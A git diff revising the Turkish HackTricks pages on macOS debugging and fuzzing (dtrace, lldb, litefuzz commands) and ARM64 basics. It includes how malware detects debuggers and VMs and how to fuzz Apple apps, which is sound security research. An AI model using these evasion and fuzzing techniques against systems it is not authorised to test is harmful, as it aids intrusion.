Dtrace'ı etkinleştirmek için kurtarma modunda şunu çalıştırabilirsiniz: `csrutil enable --without dtrace` +SIP korumasını tamamen devre dışı bırakmadan Dtrace'i etkinleştirmek için kurtarma modunda şunu çalıştırabilirsiniz: `csrutil enable --without dtrace` Ayrıca, **derlediğiniz ikilileri** **`dtrace`** veya **`dtruss`** ile çalıştırabilirsiniz. {% endhint %} @@ -406,11 +400,11 @@ Bu, bir çekirdek izleme tesisatıdır. Belgelenmiş kodlar **`/usr/share/misc/t Bu bilgilere ulaşmak için Apple aracı **`trace`** veya özel araç [kDebugView (kdv)](https://newosxbook.com/tools/kdv.html)** kullanılabilir.** -**Unutmayın ki Kdebug yalnızca bir müşteri için kullanılabilir.** Bu nedenle aynı anda yalnızca bir k-debug destekli araç çalıştırılabilir. +**Unutmayın ki Kdebug yalnızca bir müşteri için aynı anda kullanılabilir.** Bu nedenle aynı anda yalnızca bir k-debug destekli araç çalıştırılabilir. ### ktrace -`ktrace_*` API'ları, `libktrace.dylib` içinden gelen ve `Kdebug`'ınkileri saran API'lerdir. Ardından, bir istemci sadece belirli kodlarda geri aramaları ayarlamak için `ktrace_session_create` ve `ktrace_events_[single/class]`ı çağırabilir ve ardından `ktrace_start` ile başlatabilir. +`ktrace_*` API'ları, `libktrace.dylib` içinden gelen `Kdebug`'ın sarmaladığı API'larıdır. Ardından, bir istemci sadece belirli kodlarda geri aramaları ayarlamak için `ktrace_session_create` ve `ktrace_events_[single/class]`'ı çağırabilir ve ardından `ktrace_start` ile başlatabilir. Bu hatta **SIP etkinleştirilmiş** olsa bile kullanabilirsiniz @@ -424,20 +418,20 @@ Veya `tailspin`. Bu, çekirdek düzeyinde profil oluşturmak için kullanılır ve `Kdebug` çağrıları kullanılarak oluşturulmuştur. -Temelde, global değişken `kernel_debug_active` kontrol edilir ve ayarlandığında `kperf_kdebug_handler` çağrılır ve `Kdebug` kodu ve çağıran çekirdek çerçevesinin adresi ile birlikte verilir. `Kdebug` kodu seçilen bir kodla eşleşirse, "actions" belirli bir bit eşlemi olarak alınır (seçenekler için `osfmk/kperf/action.h`'ye bakın). +Temelde, global değişken `kernel_debug_active` kontrol edilir ve ayarlandığında `kperf_kdebug_handler` fonksiyonu `Kdebug` kodunu ve çağrı yapan çekirdek çerçevesinin adresini alır. `Kdebug` kodu seçilen bir kodla eşleşirse, "actions" belirli bir bit eşlemi olarak yapılandırılır (seçenekler için `osfmk/kperf/action.h` dosyasına bakın). -Kperf'in bir sysctl MIB tablosu da vardır: (kök olarak) `sysctl kperf`. Bu kodlar `osfmk/kperf/kperfbsd.c` içinde bulunabilir. +Kperf'in bir sysctl MIB tablosu da vardır: (kök olarak) `sysctl kperf`. Bu kodlar `osfmk/kperf/kperfbsd.c` dosyasında bulunabilir. -Ayrıca, Kperfs işlevselliğinin bir alt kümesi olan `kpc` de, makine performans sayaçları hakkında bilgi sağlar. +Ayrıca, Kperfs işlevselliğinin bir alt kümesi olan `kpc`, makine performans sayaçları hakkında bilgi sağlar. ### ProcessMonitor -[**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor), bir işlemin gerçekleştirdiği işlemleri kontrol etmek için çok kullanışlı bir araçtır (örneğin, bir işlemin hangi yeni işlemleri oluşturduğunu izlemek). +[**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor), bir işlemin gerçekleştirdiği işlemlerle ilgili kontrol etmek için çok yararlı bir araçtır (örneğin, bir işlemin hangi yeni işlemleri oluşturduğunu izlemek). ### SpriteTree -[**SpriteTree**](https://themittenmac.com/tools/), işlemler arasındaki ilişkileri yazdıran bir araçtır.\ -Mac'inizi **`sudo eslogger fork exec rename create > cap.json`** gibi bir komutla izlemeniz gerekmektedir (bunu başlatan terminalin FDA'ya ihtiyacı vardır). Daha sonra bu araca json dosyasını yükleyerek tüm ilişkileri görüntüleyebilirsiniz: +[**SpriteTree**](https://themittenmac.com/tools/), işlemler arasındaki ilişkileri yazdırmak için bir araçtır.\ +Mac'inizi **`sudo eslogger fork exec rename create > cap.json`** gibi bir komutla izlemeniz gerekmektedir (bu komutu çalıştırmak için FDA gereklidir). Daha sonra bu araca yükleyebilmek için json'ı bu araca yükleyebilirsiniz:
@@ -447,7 +441,7 @@ Mac'inizi **`sudo eslogger fork exec rename create > cap.json`** gibi bir komutl ### Crescendo -[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo), Microsoft Sysinternal's _Procmon_ 'dan Windows kullanıcılarının tanıdığı görünüm ve hisse sahip GUI bir araçtır. Bu araç, çeşitli olay türlerinin kaydedilmesine izin verir ve durdurulmasına olanak tanır, bu olayları dosya, işlem, ağ vb. gibi kategorilere göre filtrelemeye olanak tanır ve kaydedilen olayları json formatında kaydetme işlevselliği sağlar. +[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo), Microsoft Sysinternal’s _Procmon_ 'dan Windows kullanıcılarının tanıdığı görünüm ve hisse sahip GUI bir araçtır. Bu araç, çeşitli olay türlerinin kaydedilmesine izin verir ve durdurulmasına olanak tanır, bu olayları dosya, işlem, ağ vb. gibi kategorilere göre filtrelemeye olanak tanır ve kaydedilen olayları json formatında kaydetme işlevselliği sağlar. ### Apple Instruments @@ -464,12 +458,11 @@ fs_usage -w -f network curl #This tracks network actions ``` ### TaskExplorer -[**Taskexplorer**](https://objective-see.com/products/taskexplorer.html), bir ikili dosya tarafından kullanılan kütüphaneleri, kullandığı dosyaları ve ağ bağlantılarını görmek için faydalıdır.\ -Ayrıca ikili işlemleri **virustotal**'a karşı kontrol eder ve ikili hakkında bilgi gösterir. +[**Taskexplorer**](https://objective-see.com/products/taskexplorer.html), bir ikili dosya tarafından kullanılan kütüphaneleri, kullandığı dosyaları ve ağ bağlantılarını görmek için faydalıdır. Ayrıca ikili işlemleri **virustotal**'a karşı kontrol eder ve ikili hakkında bilgi gösterir. ## PT\_DENY\_ATTACH -[**Bu blog yazısında**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html), **`PT_DENY_ATTACH`** kullanan çalışan bir daemon'ı hata ayıklamanın, SIP devre dışı bırakılmış olsa bile hata ayıklamayı engellemek için nasıl kullanıldığına dair bir örnek bulabilirsiniz. +[**Bu blog yazısında**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html), **`PT_DENY_ATTACH`** kullanan çalışan bir daemon'ı hata ayıklamanın nasıl yapıldığına dair bir örnek bulabilirsiniz, hatta SIP devre dışı bırakılmış olsa bile hata ayıklamayı engellemek için kullanılmıştır. ### lldb @@ -485,13 +478,13 @@ Intel lezzetini lldb kullanırken ayarlayabilirsiniz, aşağıdaki satırı içe settings set target.x86-disassembly-flavor intel ``` {% hint style="warning" %} -lldb içinde, bir işlemi `process save-core` ile dump et. +lldb içinde bir işlemi `process save-core` ile dump et. {% endhint %} -
(lldb) KomutAçıklama
run (r)Devam edecek olan yürütme işlemi, bir kırılma noktasına ulaşılana veya işlem sona erene kadar durmadan devam eder.
continue (c)Hata ayıklanan işlemin yürütmesine devam et.
nexti (n / ni)Sonraki talimatı yürüt. Bu komut, işlev çağrılarını atlar.
stepi (s / si)Sonraki talimatı yürüt. nexti komutunun aksine, bu komut işlev çağrılarına girer.
finish (f)Geçerli işlevdeki kalan talimatları yürüt ("frame") ve durdur.
control + cYürütmeyi duraklat. Eğer işlem çalıştırıldıysa (r) veya devam ettirildiyse (c), bu işlem işlemi şu anda nerede yürütüyorsa durdurur.
breakpoint (b)

b main #main fonksiyonu çağrıldığında

b <binname>`main #Belirtilen dosyanın main fonksiyonu

b set -n main --shlib <lib_name> #Belirtilen dosyanın main fonksiyonu

b -[NSDictionary objectForKey:]

b -a 0x0000000100004bd9

br l #Kırılma noktası listesi

br e/dis <num> #Kırılma noktasını etkinleştir/devre dışı bırak

breakpoint delete <num>

help

help breakpoint #Kırılma noktası komutunun yardımını al

help memory write #Belleğe yazma yardımını al

reg

reg read

reg read $rax

reg read $rax --format <format>

reg write $rip 0x100035cc0

x/s <reg/memory address>Belleği null-terminalli bir dize olarak görüntüler.
x/i <reg/memory address>Belleği derleme talimatı olarak görüntüler.
x/b <reg/memory address>Belleği byte olarak görüntüler.
print object (po)

Bu, parametre tarafından referans edilen nesneyi yazdıracaktır

po $raw

{

dnsChanger = {

"affiliate" = "";

"blacklist_dns" = ();

Apple'ın Objective-C API'lerinin çoğu veya yöntemleri nesneler döndürür, bu nedenle "print object" (po) komutuyla görüntülenmelidir. Eğer po anlamlı bir çıktı üretmiyorsa x/b kullanın

memoryBelleği oku 0x000....
Belleği oku $x0+0xf2a
Belleğe yaz 0x100600000 -s 4 0x41414141 #O adrese AAAA yaz
Belleğe yaz -f s $rip+0x11f+7 "AAAA" #Adrese AAAA yaz
disassembly

dis #Geçerli işlevi aç

dis -n <funcname> #İşlevi aç

dis -n <funcname> -b <basename> #İşlevi aç
dis -c 6 #6 satırı aç
dis -c 0x100003764 -e 0x100003768 #Bir adresten diğerine kadar
dis -p -c 4 #Geçerli adresle başlayarak aç

parrayparray 3 (char **)$x1 # x1 reg içindeki 3 bileşenli diziyi kontrol et
+
(lldb) KomutAçıklama
run (r)Kesinti noktasına ulaşılana veya işlem sona erene kadar devam edecek olan yürütme işlemi başlatılır.
continue (c)Hata ayıklanan işlemin yürütmesine devam eder.
nexti (n / ni)Sonraki talimatı yürütür. Bu komut fonksiyon çağrılarını atlar.
stepi (s / si)Sonraki talimatı yürütür. nexti komutunun aksine, bu komut fonksiyon çağrılarına girer.
finish (f)Geçerli fonksiyondaki kalan talimatları ("frame") yürütür ve duraklatır.
control + cYürütmeyi duraklatır. Eğer işlem çalıştırılmışsa (r) veya devam ettirilmişse (c), bu işlemi duraklatır ve bulunduğu yeri belirler.
breakpoint (b)

b main #Main fonksiyonu çağrıldığında

b <binname>`main #Belirtilen dosyanın Main fonksiyonu

b set -n main --shlib <lib_name> #Belirtilen dosyanın Main fonksiyonu

b -[NSDictionary objectForKey:]

b -a 0x0000000100004bd9

br l #Kesinti noktası listesi

br e/dis <num> #Kesinti noktasını etkinleştir/devre dışı bırak

breakpoint delete <num>

help

help breakpoint #Kesinti noktası komutunun yardımını al

help memory write #Belleğe yazma işlemi hakkında yardım al

reg

reg read

reg read $rax

reg read $rax --format <format>

reg write $rip 0x100035cc0

x/s <reg/memory address>Belleği null karakterle sonlandırılmış bir dize olarak görüntüler.
x/i <reg/memory address>Belleği derleme talimatı olarak görüntüler.
x/b <reg/memory address>Belleği bayt olarak görüntüler.
print object (po)

Bu, parametre tarafından referans edilen nesneyi yazdırır

po $raw

{

dnsChanger = {

"affiliate" = "";

"blacklist_dns" = ();

Apple'ın Objective-C API'lerinin çoğu nesneler döndürdüğünden, bu nesneler "print object" (po) komutu aracılığıyla görüntülenmelidir. Eğer po anlamlı bir çıktı üretmiyorsa x/b kullanın

memorymemory read 0x000....
memory read $x0+0xf2a
memory write 0x100600000 -s 4 0x41414141 #O adrese AAAA yazma
memory write -f s $rip+0x11f+7 "AAAA" #Adrese AAAA yazma
disassembly

dis #Geçerli fonksiyonu derler

dis -n <funcname> #Fonksiyonu derler

dis -n <funcname> -b <basename> #Fonksiyonu derler
dis -c 6 #6 satırı derler
dis -c 0x100003764 -e 0x100003768 #Bir adresten diğerine kadar
dis -p -c 4 #Geçerli adresten başlayarak derlemeye başlar

parrayparray 3 (char **)$x1 # x1 reg içindeki 3 bileşenli diziyi kontrol et
{% hint style="info" %} -**`objc_sendMsg`** fonksiyonu çağrıldığında, **rsi** kaydı **metodun adını** null-terminalli ("C") bir dize olarak tutar. lldb üzerinden adı yazdırmak için: +**`objc_sendMsg`** fonksiyonu çağrıldığında, **rsi** kaydı **metodun adını** null karakterle sonlandırılmış ("C") bir dize olarak tutar. lldb üzerinden adı yazdırmak için: `(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"` @@ -507,13 +500,13 @@ lldb içinde, bir işlemi `process save-core` ile dump et. * **`sysctl hw.model`** komutu, **ana bilgisayar MacOS ise** "Mac" döndürür, farklı bir şey döndürürse bir VM olduğunu gösterir. * Bazı kötü amaçlı yazılımlar, bir VM olup olmadığını tespit etmek için **`hw.logicalcpu`** ve **`hw.physicalcpu`** değerleriyle oynar. -* Bazı kötü amaçlı yazılımlar, MAC adresine (00:50:56) dayanarak makinenin **VMware** tabanlı olup olmadığını da **tespit edebilir**. -* Bir işlemin hata ayıklanıp ayıklanmadığını kontrol etmek için basit bir kod kullanılabilir: +* Bazı kötü amaçlı yazılımlar, MAC adresine (00:50:56) dayanarak makinenin **VMware** tabanlı olup olmadığını **tespit edebilir**. +* Basit bir kodla **bir işlemin hata ayıklanıp ayıklanmadığını** kontrol etmek de mümkündür: * `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //hata ayıklanan işlem }` -* Ayrıca **`ptrace`** sistem çağrısını **`PT_DENY_ATTACH`** bayrağı ile çağırabilir. Bu, bir hata ayıklamanın eklenmesini ve izlenmesini **engeller**. -* **`sysctl`** veya **`ptrace`** fonksiyonunun **ithal edilip edilmediği** kontrol edilebilir (ancak kötü amaçlı yazılım bunu dinamik olarak da ithal edebilir) +* Ayrıca **`ptrace`** sistem çağrısını **`PT_DENY_ATTACH`** bayrağıyla çağırabilir. Bu, bir hata ayıklamanın eklenmesini ve izlenmesini **engeller**. +* **`sysctl`** veya **`ptrace`** fonksiyonunun **ithal edilip edilmediğini** kontrol edebilirsiniz (ancak kötü amaçlı yazılım bunu dinamik olarak da ithal edebilir) * Bu yazıda belirtildiği gibi, “[Anti-Hata Ayıklama Tekniklerini Yenme: macOS ptrace varyantları](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\ -“_Mesaj Process # çıkış yaptı **durum = 45 (0x0000002d)** genellikle hata ayıklama hedefinin **PT\_DENY\_ATTACH** kullandığının açık bir işaretidir_” +“_**Process #** status = 45 (0x0000002d) ile çıktı veren mesaj genellikle hata ayıklama hedefinin **PT\_DENY\_ATTACH** kullandığının açık bir işaretidir_” ## Çekirdek Dökümleri Çekirdek dökümleri oluşturulur: @@ -524,7 +517,7 @@ lldb içinde, bir işlemi `process save-core` ile dump et. Bu durumlarda çekirdek dökümleri, genellikle `/cores/core/.%P` dizininde belirtilen `kern.corefile` sysctl'ye göre oluşturulur ve saklanır. -## Fuzzing +## Fazlama ### [ReportCrash](https://ss64.com/osx/reportcrash.html) @@ -532,7 +525,7 @@ ReportCrash, **çöken işlemleri analiz eder ve bir çökme raporunu diske kayd Kullanıcı başlatma bağlamında çalışan uygulamalar ve diğer işlemler için, ReportCrash, bir LaunchAgent olarak çalışır ve çökme raporlarını kullanıcının `~/Library/Logs/DiagnosticReports/` dizininde kaydeder.\ Daemonlar, sistem başlatma bağlamında çalışan diğer işlemler ve diğer ayrıcalıklı işlemler için, ReportCrash bir LaunchDaemon olarak çalışır ve çökme raporlarını sistemdeki `/Library/Logs/DiagnosticReports` dizininde kaydeder. -Eğer çökme raporlarının **Apple'a gönderilmesinden endişe duyuyorsanız**, bunları devre dışı bırakabilirsiniz. Aksi takdirde, çökme raporları bir sunucunun nasıl çöktüğünü **anlamanıza yardımcı olabilir**. +Eğer çökme raporlarının **Apple'a gönderilmesinden endişe duyuyorsanız**, bunları devre dışı bırakabilirsiniz. Aksi takdirde, çökme raporları, bir sunucunun nasıl çöktüğünü **anlamak için faydalı olabilir**. ```bash #To disable crash reporting: launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist @@ -552,7 +545,7 @@ MacOS'ta fuzzing yaparken Mac'in uyumasına izin vermemek önemlidir: #### SSH Bağlantısı Kesme -SSH bağlantısı aracılığıyla fuzzing yaparken oturumun gün sonuna gitmediğinden emin olmak önemlidir. Bu nedenle sshd\_config dosyasını aşağıdaki gibi değiştirin: +SSH bağlantısı aracılığıyla fuzzing yaparken oturumun gün içinde gitmeyeceğinden emin olmak önemlidir. Bu nedenle sshd\_config dosyasını aşağıdaki gibi değiştirin: * TCPKeepAlive Yes * ClientAliveInterval 0 @@ -563,7 +556,7 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist ``` ### Dahili İşleyiciler -Belirli bir şema veya protokolü **işleme yetkisine sahip olan uygulamanın hangisi olduğunu bulabileceğiniz** sayfayı kontrol edin: +Belirli bir şema veya protokolü **işleme yetkisine sahip olan uygulamanın hangisi olduğunu nasıl bulabileceğinizi** öğrenmek için aşağıdaki sayfaya göz atın: {% content-ref url="../macos-file-extension-apps.md" %} [macos-file-extension-apps.md](../macos-file-extension-apps.md) @@ -578,6 +571,8 @@ dtrace -n 'syscall::recv*:entry { printf("-> %s (pid=%d)", execname, pid); }' >> sort -u recv.log > procs.txt cat procs.txt ``` +Veya `netstat` veya `lsof` kullanın + ### Libgmalloc
@@ -588,7 +583,7 @@ lldb -o "target create `which some-binary`" -o "settings set target.env-vars DYL ``` {% endcode %} -### Fuzzerlar +### Fuzzers #### [AFL++](https://github.com/AFLplusplus/AFLplusplus) @@ -596,9 +591,11 @@ CLI araçları için çalışır #### [Litefuzz](https://github.com/sec-tools/litefuzz) -MacOS GUI araçları ile "**sadece çalışır"**. Bazı macOS uygulamalarının benzersiz dosya adlarına, doğru uzantıya, dosyaları sandbox'tan okuma gereksinimlerine gibi belirli gereksinimleri olabilir (`~/Library/Containers/com.apple.Safari/Data`)... +macOS GUI araçları ile "**sadece çalışır"**. Bazı macOS uygulamalarının benzersiz dosya adları, doğru uzantılar gibi belirli gereksinimleri olabilir, dosyaları sandbox'tan okuma ihtiyacı olabilir (`~/Library/Containers/com.apple.Safari/Data`)... Bazı örnekler: + +{% code overflow="wrap" %} ```bash # iBooks litefuzz -l -c "/System/Applications/Books.app/Contents/MacOS/Books FUZZ" -i files/epub -o crashes/ibooks -t /Users/test/Library/Containers/com.apple.iBooksX/Data/tmp -x 10 -n 100000 -ez @@ -642,24 +639,25 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
-[**WhiteIntel**](https://whiteintel.io) bir şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **kompromize edilip edilmediğini** kontrol etmek için **ücretsiz** işlevsellikler sunan **dark-web** destekli bir arama motorudur. +[**WhiteIntel**](https://whiteintel.io), şirketin veya müşterilerinin **stealer kötü amaçlı yazılımlar** tarafından **kompromize edilip edilmediğini** kontrol etmek için **ücretsiz** işlevsellikler sunan **dark-web** destekli bir arama motorudur. WhiteIntel'in başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye saldırılarıyla mücadele etmektir. -Websitesini ziyaret edebilir ve **ücretsiz** olarak motorlarını deneyebilirsiniz: +Websitesini ziyaret edebilir ve motorlarını **ücretsiz** deneyebilirsiniz: {% embed url="https://whiteintel.io" %} +{% hint style="success" %} +AWS Hacking öğrenin ve uygulayın:[**HackTricks Eğitimi AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking öğrenin ve uygulayın: [**HackTricks Eğitimi GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) -* [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin -* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da takip edin** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md index 37fa3d3df..36311e0e1 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -1,28 +1,29 @@ # ARM64v8'e Giriş +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan Kahramana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert) ile! +HackTricks'i Destekleyin -HackTricks'i desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! -* [**Resmi PEASS & HackTricks ürünleri**]'ni edinin (https://peass.creator-spring.com) -* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**] (https://opensea.io/collection/the-peass-family) -* **Katılın** 💬 [**Discord grubuna**] (https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**] (https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**] (https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**] (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**] (https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin**. +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## **İstisna Seviyeleri - EL (ARM64v8)** -ARMv8 mimarisinde, ayrıcalık seviyeleri olarak bilinen İstisna Seviyeleri (EL'ler), yürütme ortamının ayrıcalık seviyesini ve yeteneklerini tanımlar. EL0'dan EL3'e kadar dört istisna seviyesi bulunmaktadır, her biri farklı bir amaca hizmet etmektedir: +ARMv8 mimarisinde, İstisna Seviyeleri (EL'ler) olarak bilinen yürütme seviyeleri, yürütme ortamının ayrıcalık seviyesini ve yeteneklerini tanımlar. EL0'dan EL3'e kadar dört istisna seviyesi bulunmaktadır ve her biri farklı bir amaca hizmet etmektedir: 1. **EL0 - Kullanıcı Modu**: * Bu en az ayrıcalıklı seviyedir ve düzenli uygulama kodlarını yürütmek için kullanılır. -* EL0'da çalışan uygulamalar birbirinden ve sistem yazılımından izole edilir, böylece güvenlik ve kararlılık artar. +* EL0'da çalışan uygulamalar birbirinden ve sistem yazılımından izole edilir, bu da güvenliği ve kararlılığı artırır. 2. **EL1 - İşletim Sistemi Çekirdek Modu**: -* Çoğu işletim sistemi çekirdeği bu seviyede çalışır. +* Çoğu işletim sistemi çekirdekleri bu seviyede çalışır. * EL1, EL0'dan daha fazla ayrıcalığa sahiptir ve sistem kaynaklarına erişebilir, ancak sistem bütünlüğünü sağlamak için bazı kısıtlamalar vardır. 3. **EL2 - Hipervizör Modu**: * Bu seviye sanallaştırma için kullanılır. EL2'de çalışan bir hipervizör, aynı fiziksel donanım üzerinde çalışan birden fazla işletim sistemini (her biri kendi EL1'inde) yönetebilir. @@ -31,41 +32,41 @@ ARMv8 mimarisinde, ayrıcalık seviyeleri olarak bilinen İstisna Seviyeleri (EL * Bu en ayrıcalıklı seviyedir ve genellikle güvenli önyükleme ve güvenilir yürütme ortamları için kullanılır. * EL3, güvenli ve güvensiz durumlar arasındaki erişimleri yönetebilir ve kontrol edebilir (güvenli önyükleme, güvenilir işletim sistemi vb.). -Bu seviyelerin kullanımı, sistemdeki farklı yönleri yönetmek için yapılandırılmış ve güvenli bir şekilde izin verir. ARMv8'in ayrıcalık seviyelerine yaklaşımı, farklı sistem bileşenlerini etkili bir şekilde izole etmeye yardımcı olarak sistem güvenliğini ve sağlamlığını artırır. +Bu seviyelerin kullanımı, kullanıcı uygulamalarından en ayrıcalıklı sistem yazılımlarına kadar farklı sistem bileşenlerini yapılandırılmış ve güvenli bir şekilde yönetme olanağı sağlar. ARMv8'in ayrıcalık seviyelerine yaklaşımı, farklı sistem bileşenlerini etkili bir şekilde izole etmeye yardımcı olarak sistemin güvenliğini ve sağlamlığını artırır. -## **Registerlar (ARM64v8)** +## **Kayıtlar (ARM64v8)** -ARM64'ün **31 genel amaçlı registerı** bulunmaktadır, `x0` ile `x30` arasında etiketlenmiştir. Her biri **64-bit** (8-byte) bir değer saklayabilir. Yalnızca 32-bit değerler gerektiren işlemler için aynı registerlar, `w0` ile `w30` adları kullanılarak 32-bit modunda erişilebilir. +ARM64'ün **31 genel amaçlı kaydı** bulunmaktadır, `x0` ile `x30` arasında etiketlenmiştir. Her biri **64 bit** (8 byte) bir değer saklayabilir. Yalnızca 32 bit değerler gerektiren işlemler için aynı kayıtlara `w0` ile `w30` adları kullanılarak 32 bit modunda erişilebilir. -1. **`x0`** ile **`x7`** - Bu genellikle geçici registerlar olarak ve alt programlara parametre geçirme amaçlı kullanılır. +1. **`x0`** ile **`x7`** - Bu genellikle geçici kayıtlar olarak ve alt programlara parametre iletmek için kullanılır. * **`x0`** ayrıca bir fonksiyonun dönüş verisini taşır. -2. **`x8`** - Linux çekirdeğinde, `x8` `svc` komutu için sistem çağrı numarası olarak kullanılır. **macOS'ta ise x16 kullanılır!** -3. **`x9`** ile **`x15`** - Daha fazla geçici registerlar, genellikle yerel değişkenler için kullanılır. -4. **`x16`** ve **`x17`** - **İçsel-prosedürel Çağrı Registerları**. Hemen değerler için geçici registerlar. Ayrıca dolaylı fonksiyon çağrıları ve PLT (Procedure Linkage Table) kısayolları için kullanılır. -* **`x16`**, **macOS**'ta **`svc`** komutu için **sistem çağrı numarası** olarak kullanılır. -5. **`x18`** - **Platform registerı**. Genel amaçlı bir register olarak kullanılabilir, ancak bazı platformlarda bu register platforma özgü amaçlar için ayrılmıştır: Windows'ta mevcut iş parçacığı ortam bloğuna işaretçi veya linux çekirdeğinde şu anda **çalışan görev yapısına işaret etmek için**. -6. **`x19`** ile **`x28`** - Bunlar çağrıyı yapanın değerlerini koruması gereken çağrı saklanmış registerlardır, bu nedenle bunlar yığında saklanır ve çağrıya geri dönmeden önce kurtarılır. -7. **`x29`** - Yığın çerçevesini takip etmek için **çerçeve işaretçisi**. Bir işlev çağrıldığında yeni bir yığın çerçevesi oluşturulduğunda, **`x29`** registerı yığında **saklanır** ve yeni çerçeve işaretçi adresi (**`sp`** adresi) bu registerda **saklanır**. -* Bu register genel amaçlı bir register olarak da kullanılabilir, ancak genellikle **yerel değişkenlere referans** olarak kullanılır. -8. **`x30`** veya **`lr`**- **Bağlantı registerı**. Bir `BL` (Branch with Link) veya `BLR` (Register ile Bağlantılı Dal) komutu yürütüldüğünde **dönüş adresini** tutar ve bu registerda **`pc`** değerini saklar. -* Diğer registerlar gibi kullanılabilir. -* Eğer mevcut fonksiyon yeni bir fonksiyon çağıracak ve dolayısıyla `lr`'yi üzerine yazacaksa, başlangıçta bunu yığında saklar, bu epilog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp` ve `lr`'yi sakla, alan oluştur ve yeni `fp` al) ve sonunda kurtarır, bu prolog (`ldp x29, x30, [sp], #48; ret` -> `fp` ve `lr`'yi kurtar ve geri dön). +2. **`x8`** - Linux çekirdeğinde, `x8` `svc` komutu için sistem çağrısı numarası olarak kullanılır. **macOS'ta ise x16 kullanılır!** +3. **`x9`** ile **`x15`** - Daha fazla geçici kayıt, genellikle yerel değişkenler için kullanılır. +4. **`x16`** ve **`x17`** - **İçsel-prosedürel Çağrı Kayıtları**. Hemen değerler için geçici kayıtlar. Ayrıca dolaylı fonksiyon çağrıları ve PLT (Procedure Linkage Table) sapmaları için de kullanılır. +* **`x16`**, **macOS**'ta **`svc`** komutu için **sistem çağrısı numarası** olarak kullanılır. +5. **`x18`** - **Platform kaydı**. Genel amaçlı bir kayıt olarak kullanılabilir, ancak bazı platformlarda bu kayıt platforma özgü kullanımlar için ayrılmıştır: Windows'ta mevcut iş parçacığı ortam bloğuna işaretçi veya linux çekirdeğinde şu anda **çalışan görev yapısına işaret etmek 